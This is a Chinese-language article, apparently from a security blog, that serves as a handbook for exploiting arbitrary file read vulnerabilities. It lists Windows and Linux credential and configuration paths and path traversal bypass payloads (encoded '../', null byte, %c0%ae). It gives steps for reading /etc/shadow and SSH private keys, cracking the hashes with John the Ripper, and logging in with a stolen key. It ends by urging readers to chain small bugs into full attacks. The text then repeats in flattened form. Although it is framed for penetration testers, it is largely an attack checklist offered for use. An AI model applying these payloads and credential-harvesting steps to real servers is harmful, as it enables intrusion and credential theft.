文件读取漏洞的后利用姿势
字数 3288 2025-08-12 11:33:56

任意文件读取漏洞的深入利用技术手册

一、前言

任意文件读取漏洞是Web安全中常见的一种漏洞类型,攻击者通过该漏洞可以读取服务器上的敏感文件。本手册将全面介绍Windows和Linux系统下可利用的敏感文件路径、绕过技巧以及后利用技术,帮助安全研究人员最大化利用此类漏洞。

二、常见敏感文件路径

Windows系统敏感文件

  1. 系统信息文件

    • C:\boot.ini - 查看系统版本信息
    • C:\Windows\repair\sam - 存储系统初次安装的密码
  2. 服务器配置文件

    • C:\Windows\System32\inetsrv\MetaBase.xml - IIS配置文件
    • C:\Windows\php.ini - PHP配置信息
  3. 数据库相关文件

    • C:\Program Files\mysql\my.ini - MySQL配置
    • C:\Program Files\mysql\data\mysql\user.MYD - MySQL root用户信息

Linux系统敏感文件

  1. SSH相关文件

    • /root/.ssh/authorized_keys - 远程登录公钥文件
    • /root/.ssh/id_rsa - SSH私钥
    • /root/.ssh/id_ras.keystore - 访问用户的公钥记录
    • /root/.ssh/known_hosts - 访问过计算机的公钥记录
  2. 系统账户文件

    • /etc/passwd - 账户信息
    • /etc/shadow - 账户密码文件
  3. 服务配置文件

    • /etc/my.cnf - MySQL配置文件
    • /etc/httpd/conf/httpd.conf - Apache配置文件
    • /etc/redhat-release - 系统版本信息
  4. 历史记录文件

    • /root/.bash_history - 用户历史命令记录
    • /root/.mysql_history - MySQL历史命令记录
  5. 特殊系统文件

    • /var/lib/mlocate/mlocate.db - 全文件路径数据库
    • /proc/self/fd/fd[0-9]* - 文件标识符
    • /proc/mounts - 系统挂载设备记录
    • /proc/config.gz - 内核配置文件
    • /proc/self/cmdline - 当前进程的cmdline参数
    • /proc/sched_debug - 当前运行进程及PID
    • /proc/net/fib_trie - 内网IP信息
    • /proc/self/environ - 环境变量
    • /proc/self/loginuid - 当前用户信息

三、绕过技巧

  1. URL编码绕过

    • 使用%2F代替/?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
    • 二次编码:?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
  2. 特殊字符绕过

    • 加入+?filename=bin/redacted.dll
    • 使用空字节:/etc/passwd%00.jpg
    • 使用反斜杠:?filename=..%5c..%5c/windows/win.ini
  3. Java安全模式绕过

    • 使用%c0%ae代替.?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

四、Linux下的深入利用

1. 用户目录敏感文件

  • .bash_history.zsh_history - shell历史命令
  • .psql_history.mysql_history - 数据库操作历史
  • .profile.bashrc - shell配置文件
  • .gitconfig - Git配置
  • .viminfo - Vim编辑器信息

利用方法

  • 提取历史命令中的密码、路径、配置文件路径、关联IP等信息
  • 使用../../root/.bash_history读取root用户历史
  • 爆破所有用户的.bash_historyhome/§root§/.bash_history

2. 主机凭证获取

SSH私钥利用

  • 获取/root/.ssh/id_rsa后可直接登录服务器:
    ssh -i id_rsa root@IP地址
    

系统密码破解

  • /etc/shadow文件格式:
    root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
    
    • $id$salt$密文结构
    • 常见算法ID:
      • $1 - MD5
      • $2a/$2y - Blowfish
      • $5 - SHA-256
      • $6 - SHA-512

破解方法

  1. 使用在线工具如cmd5.com
  2. 使用John the Ripper:
    unshadow /etc/passwd /etc/shadow > test_passwd
    john --wordlist=字典路径 test_passwd
    

3. 全文件路径数据库利用

  • /var/lib/mlocate/mlocate.db存储了所有文件路径
  • 使用locate命令提取有用信息:
    locate mlocate.db config  # 输出包含config的路径
    locate mlocate.db webapps
    locate mlocate.db www
    

4. 程序源代码获取

  • 读取WEB-INF/web.xml,进一步获取class文件反编译
  • 读取war包反编译获取源码
  • Java站点关键文件:
    • /WEB-INF/web.xml
    • /WEB-INF/classes/applicationContext.xml
    • /WEB-INF/classes/xxx/xxx/xxx.class
    • core.jar(Shiro站点可搜索Base64.decode获取key)

5. 应用配置文件

  • Tomcat/usr/local/tomcat/conf/tomcat-users.xml
  • Nginx
    • /www/nginx/conf/nginx.conf
    • /etc/nginx/nginx.conf
    • /usr/local/nginx/conf/nginx.conf
  • Apache
    • /etc/httpd/conf/httpd.conf
    • /etc/apache2/apache2.conf
  • Redis/etc/redis.conf
  • SSH/etc/ssh/sshd_config

6. 应用日志文件分析

  • Tomcat

    • /tomcat/bin/catalina.sh查找log配置路径
    • /webapps/ROOT/logs/catalina.out
  • Apache

    • /var/log/apache2/access.log
    • /var/log/apache2/error.log
    • /var/log/httpd/access_log
  • Nginx

    • /var/log/nginx/access.log
    • /var/log/nginx/error.log

五、Windows下的利用技巧

  1. 盲读取桌面文件

    • 常见文件名fuzz:1.txtpass.txt密码.txt
    • 路径格式:C:\Users\Administrator\Desktop\pass.txt
  2. 特殊文件读取

    • 尝试读取C:\Users\用户名\Documents目录下的文档
    • 查找备份文件如.bak.old

六、总结与最佳实践

  1. 信息收集优先级

    • 先获取系统基本信息(/etc/passwd/etc/shadow/proc/version等)
    • 再查找凭证文件(SSH密钥、数据库配置等)
    • 最后获取应用相关文件(配置文件、日志、源代码等)
  2. 大文件处理技巧

    • 对于大日志文件或备份文件,可尝试使用wget下载:
      wget http://target/path/to/large/file
      
  3. 思维拓展

    • 结合多个小漏洞形成完整攻击链
    • 从读取的文件中挖掘更多敏感信息(如数据库连接字符串、API密钥等)
    • 关注历史命令中的敏感操作记录

通过系统性地利用任意文件读取漏洞,安全研究人员可以获取大量敏感信息,为进一步渗透测试奠定基础。记住要发散思维,将看似微小的漏洞价值最大化。

任意文件读取漏洞的深入利用技术手册 一、前言 任意文件读取漏洞是Web安全中常见的一种漏洞类型,攻击者通过该漏洞可以读取服务器上的敏感文件。本手册将全面介绍Windows和Linux系统下可利用的敏感文件路径、绕过技巧以及后利用技术,帮助安全研究人员最大化利用此类漏洞。 二、常见敏感文件路径 Windows系统敏感文件 系统信息文件 C:\boot.ini - 查看系统版本信息 C:\Windows\repair\sam - 存储系统初次安装的密码 服务器配置文件 C:\Windows\System32\inetsrv\MetaBase.xml - IIS配置文件 C:\Windows\php.ini - PHP配置信息 数据库相关文件 C:\Program Files\mysql\my.ini - MySQL配置 C:\Program Files\mysql\data\mysql\user.MYD - MySQL root用户信息 Linux系统敏感文件 SSH相关文件 /root/.ssh/authorized_keys - 远程登录公钥文件 /root/.ssh/id_rsa - SSH私钥 /root/.ssh/id_ras.keystore - 访问用户的公钥记录 /root/.ssh/known_hosts - 访问过计算机的公钥记录 系统账户文件 /etc/passwd - 账户信息 /etc/shadow - 账户密码文件 服务配置文件 /etc/my.cnf - MySQL配置文件 /etc/httpd/conf/httpd.conf - Apache配置文件 /etc/redhat-release - 系统版本信息 历史记录文件 /root/.bash_history - 用户历史命令记录 /root/.mysql_history - MySQL历史命令记录 特殊系统文件 /var/lib/mlocate/mlocate.db - 全文件路径数据库 /proc/self/fd/fd[0-9]* - 文件标识符 /proc/mounts - 系统挂载设备记录 /proc/config.gz - 内核配置文件 /proc/self/cmdline - 当前进程的cmdline参数 /proc/sched_debug - 当前运行进程及PID /proc/net/fib_trie - 内网IP信息 /proc/self/environ - 环境变量 /proc/self/loginuid - 当前用户信息 三、绕过技巧 URL编码绕过 使用 %2F 代替 / : ?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd 二次编码: ?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd 特殊字符绕过 加入 + : ?filename=bin/redacted.dll 使用空字节: /etc/passwd%00.jpg 使用反斜杠: ?filename=..%5c..%5c/windows/win.ini Java安全模式绕过 使用 %c0%ae 代替 . : ?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 四、Linux下的深入利用 1. 用户目录敏感文件 .bash_history 、 .zsh_history - shell历史命令 .psql_history 、 .mysql_history - 数据库操作历史 .profile 、 .bashrc - shell配置文件 .gitconfig - Git配置 .viminfo - Vim编辑器信息 利用方法 : 提取历史命令中的密码、路径、配置文件路径、关联IP等信息 使用 ../../root/.bash_history 读取root用户历史 爆破所有用户的 .bash_history : home/§root§/.bash_history 2. 主机凭证获取 SSH私钥利用 : 获取 /root/.ssh/id_rsa 后可直接登录服务器: 系统密码破解 : /etc/shadow 文件格式: $id$salt$密文 结构 常见算法ID: $1 - MD5 $2a /$ 2y - Blowfish $5 - SHA-256 $6 - SHA-512 破解方法 : 使用在线工具如cmd5.com 使用John the Ripper: 3. 全文件路径数据库利用 /var/lib/mlocate/mlocate.db 存储了所有文件路径 使用locate命令提取有用信息: 4. 程序源代码获取 读取 WEB-INF/web.xml ,进一步获取class文件反编译 读取war包反编译获取源码 Java站点关键文件: /WEB-INF/web.xml /WEB-INF/classes/applicationContext.xml /WEB-INF/classes/xxx/xxx/xxx.class core.jar (Shiro站点可搜索Base64.decode获取key) 5. 应用配置文件 Tomcat : /usr/local/tomcat/conf/tomcat-users.xml Nginx : /www/nginx/conf/nginx.conf /etc/nginx/nginx.conf /usr/local/nginx/conf/nginx.conf Apache : /etc/httpd/conf/httpd.conf /etc/apache2/apache2.conf Redis : /etc/redis.conf SSH : /etc/ssh/sshd_config 6. 应用日志文件分析 Tomcat : 从 /tomcat/bin/catalina.sh 查找log配置路径 /webapps/ROOT/logs/catalina.out Apache : /var/log/apache2/access.log /var/log/apache2/error.log /var/log/httpd/access_log Nginx : /var/log/nginx/access.log /var/log/nginx/error.log 五、Windows下的利用技巧 盲读取桌面文件 : 常见文件名fuzz: 1.txt 、 pass.txt 、 密码.txt 等 路径格式: C:\Users\Administrator\Desktop\pass.txt 特殊文件读取 : 尝试读取 C:\Users\用户名\Documents 目录下的文档 查找备份文件如 .bak 、 .old 等 六、总结与最佳实践 信息收集优先级 : 先获取系统基本信息( /etc/passwd 、 /etc/shadow 、 /proc/version 等) 再查找凭证文件(SSH密钥、数据库配置等) 最后获取应用相关文件(配置文件、日志、源代码等) 大文件处理技巧 : 对于大日志文件或备份文件,可尝试使用wget下载: 思维拓展 : 结合多个小漏洞形成完整攻击链 从读取的文件中挖掘更多敏感信息(如数据库连接字符串、API密钥等) 关注历史命令中的敏感操作记录 通过系统性地利用任意文件读取漏洞,安全研究人员可以获取大量敏感信息,为进一步渗透测试奠定基础。记住要发散思维,将看似微小的漏洞价值最大化。